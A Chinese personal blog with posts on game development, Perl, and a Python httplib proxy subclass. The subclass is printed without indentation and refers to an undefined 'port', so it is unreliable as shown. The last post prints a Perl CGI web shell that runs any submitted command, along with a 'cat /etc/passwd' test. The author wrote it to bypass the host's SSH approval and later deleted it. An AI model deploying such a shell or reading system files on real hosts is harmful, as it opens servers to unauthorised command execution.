几个月没有更新了,这些天一直很头疼。

因为这个月底要首测,之前一直忙着搞登录,打包,构建,升级相关的东西。

网络模块又重新写了一遍,之前是开一个单独的线程,现在换成直接select的方式。

以前幻想实现了一套数据打包的方法,类似于google的protocol buffer,使用xml描述数据结构,生成相应的头文件和元信息,用来读写网络数据包和资源表格。这套东西后来就演变成了研发中心的tdr了,一般来说换成单独的项目组后可能会有更好的维护,事实却恰好相反。老大们都懒得写代码了,都是一帮没有经验的毕业生在搞。东西搞得很不完善,提一个需求过去一两个月都没人搞,真不知道他们都在干什么。公司大了,做事真的很没效率。

资源文件打包换成了TenVFS,这个相对于tdr来说要好用一些。不过还是有些bug,如果资源文件设置密码的话,会导致自动更新无法合并资源包,研发中心这些项目,都给人一种七拼八凑的感觉。跟他们人打交道真够焦头烂额,有乐于帮助的,有很装b的,一个简单的问题来回要很久。为什么程序员喜欢重造轮子,也许就是这个原因吧,自己写的东西,有问题自己解决,找别人真的很烦。

战斗系统还是有很多bug,感觉回合制游戏的战斗系统比即时的还要麻烦,不知道是设计的有问题,还是这个东西本身就存在这个复杂度。即时游戏划分成若干个阶段,比如吟唱,攻击,命中,每一个阶段都跟server有即时的发包回包,很清晰的时序逻辑。而回合游戏却要麻烦的多,开始回合战斗,每个玩家下达指令,服务器统一做计算,回包给所有客户端表现。客户端收到包以后是一个异步的过程,所有结果都已知,但是要单个表现技能,防御,冒血等,需要有一个翻译机制,关键是回合战斗有很多玩法,比如反击,反震,三连击等,很难找一个很统一的方式来处理所有这些问题。

战斗的设计上肯定有很多不完善之处,但总体感觉,这里本身就很复杂。

自动构建,打包是用perl写的,perl就像一把锐利的小刀,无坚不摧,用起来很爽,实在是程序员强大的必备工具。

感觉要把一件事情做好,都会经历一个痛苦疲惫的阶段,似乎是解决问题必须付出的代价。

域名快到期了,这几天收到godaddy的一封广告邮件,说什么celebrate the Year of the Rabbit with 30% savings,没想到这个美国公司对中国用户考虑还这么周到,我一高兴,又renewal了两年,倒也挺便宜,打完折后$16.38

从这封简单的邮件里可以看出,中国的实力和国际影响力已经在逐渐增强。希望有一天我们的文化能够广泛的被西方理解接受

今天给wikipedia捐了10美元,算是支持一下吧,她给我带来的知识远多于这个价值。

btw,paypal还是很方便的,点一下确定就行了,不像国内的一堆验证密码。这样间接促进了人的消费欲望。

今天在vc8里发现了一段很有意思的东西,objbase.h头文件的开头是这样的
[cpp]
/*#!perl
MapHeaderToDll("objbase.h", "ole32.dll");
ActivateAroundFunctionCall("ole32.dll");
#IgnoreFunction("CreateDataAdviseHolder");
….
*/
[/cpp]
刚开始的!perl声明估计多半是用来对这个文件做一些预处理操作,自动生成一些东西

以前用微软的Debugging Tools for Windows里面的SrcSvr工具,对pdb符号文件建索引。其原理大致就是在pdb里储存一些svn的版本信息。微软给了一个ssindex.cmd的脚本来自动完成这些工作,直接就是用perl写的,而且在文档里写明要安装perl的支持。

看来微软内部使用perl还是很广泛的。

最近公司网络改造,限制所有对公网的直接tcp连接,打开一个网页只能通过代理,于是,我以前写的一些网络程序,统统不能用鸟~~

直接的socket连接不能用,也没有办法了,但是有些走http协议的,倒是还可以利用下代理访问,便想改造一番。

python的urllib支持代理的方式访问,只要设置一个http_proxy的环境变量就行了。但是,httplib不知道基于什么古怪的原因,居然不支持。

决定手工改了,打开httplib的源代码,仔细读了一番,在HTTPConnection类的connect方法中,直接连到代理服务器。试了试,还是不行,抓了下包,原来浏览器访问的时候在http协议的GET和POST之类的请求中,将地址设成绝对路径,而不仅仅是设置Host的header。又在putrequest函数里改了。

还是不行,抓包,仔细看,很诡异的问题,直到后来无意中发现,http请求里的header里面,Host被加入了两次~~~改掉之后就行了。

真烦啊,耽误我们大量时间的,往往不是那些看起来很困难的东西,而是无足轻重的不起眼的小细节。

直接改httplib的代码有些暴力,其他使用这个库的应用程序,可能会产生一些不可预知的错误,后来改了改,实现了一个单独的代理类。

下面把主要的代码贴出来

[python]
class ProxyHttpConnection(httplib.HTTPConnection):
def __init__(self, host, port=None, strict=None):
httplib.HTTPConnection.__init__(self, host, port, strict)

def connect(self):
"""Connect to the host and port specified in __init__."""
msg = "getaddrinfo returns an empty list"
for res in socket.getaddrinfo(self.host, self.port, 0,
socket.SOCK_STREAM):
af, socktype, proto, canonname, sa = res
if self._http_vsn == 11 and os.environ.has_key("http_proxy"):
proaddr = os.environ["http_proxy"];
if proaddr.startswith("http:"): proaddr = proaddr[7:];
prhost,prport = proaddr.split(":");
sa = prhost,int(prport);
try:
self.sock = socket.socket(af, socktype, proto)
if self.debuglevel > 0:
print "connect: (%s, %s)" % (self.host, self.port)
self.sock.connect(sa)
except socket.error, msg:
if self.debuglevel > 0:
print ‘connect fail:’, (self.host, self.port)
if self.sock:
self.sock.close()
self.sock = None
continue
break
if not self.sock:
raise socket.error, msg

def putrequest(self, method, url, skip_host=0, skip_accept_encoding=0):
if self._HTTPConnection__response and self._HTTPConnection__response.isclosed():
self._HTTPConnection__response = None

if self._HTTPConnection__state == httplib._CS_IDLE:
self._HTTPConnection__state = httplib._CS_REQ_STARTED
else:
raise CannotSendRequest()

self._method = method
if not url:
url = ‘/’
if self._http_vsn == 11 and os.environ.has_key("http_proxy"):
if not url.startswith("http"):
tmport = "";
if self.port!=80: tmport = ":%d"%port;
url = "http://%s%s%s" % (self.host,tmport,url);
str = ‘%s %s %s’ % (method, url, self._http_vsn_str)

self._output(str)

if self._http_vsn == 11:
if not skip_accept_encoding:
self.putheader(‘Accept-Encoding’, ‘identity’)
self.putheader(‘Proxy-Connection’, ‘Close’);
else:
pass
[/python]

在自己的应用中,直接使用这个ProxyHttpConnection代替HttpConnection类就行了。

Proxy-Connection这个header在标准的http协议里是没有定义的,但是大部分浏览器实现了它,来告诉缓存服务器应该将连接直接关掉还是保持,主要是因为缓存服务器两边的连接有http 1.0和http 1.1两种可能,这样做反而导致了误解和歧义,因为http协议头本身就有一个connection来控制。现在的大部分浏览器会加入一个判断,如果连接的是一个代理服务器,就会使用Proxy-Connection,如果是真正的服务器,就采用标准的头。与之相关的一些讨论可以google到。

这个空间的提供商说提供ssh访问,但是需要额外申请,那就申请吧,提交之后一直没有反应,可能是我填写的理由不够充分。

不过既然有权限执行perl脚本,那想必我的账户已经具有执行一些shell命令的权限了,只不过他们没有给我提供远程进行ssh的方式罢了。

但如果使用perl写一段cgi脚本,提供一个输入框,输入需要执行的命令,直接通过perl调用系统命令,是不是就能够实现一个简单的shell了?

下面是这段perl脚本

[perl]
#!/usr/bin/perl

use CGI qw(:all);

print header(),start_html("a simple shell");

print "<pre>n";
if (param("cmd")){
$c = param("cmd");
print `$c`;
}
print "</pre>n";
print start_form(-name=>"fm"),
textfield("cmd","",120),
end_form;

print "<script>document.fm.cmd.value=”;document.fm.cmd.focus();</script>";

print end_html();
[/perl]

放上去,随便敲下,cat /etc/passwd,果然很爽,除了不支持类似vi之类的交互模式,对于大部分场合已经足够了。

还有些不足,比如到stderr的输出无法重定向出来,仔细想想,应该有解决方案吧,不过也没必要了,倒是想到一个方案,先把标准错误流重定向到一个临时文件,再cat出来。

用了几下之后便把这个脚本删掉了,直接放到外面太危险了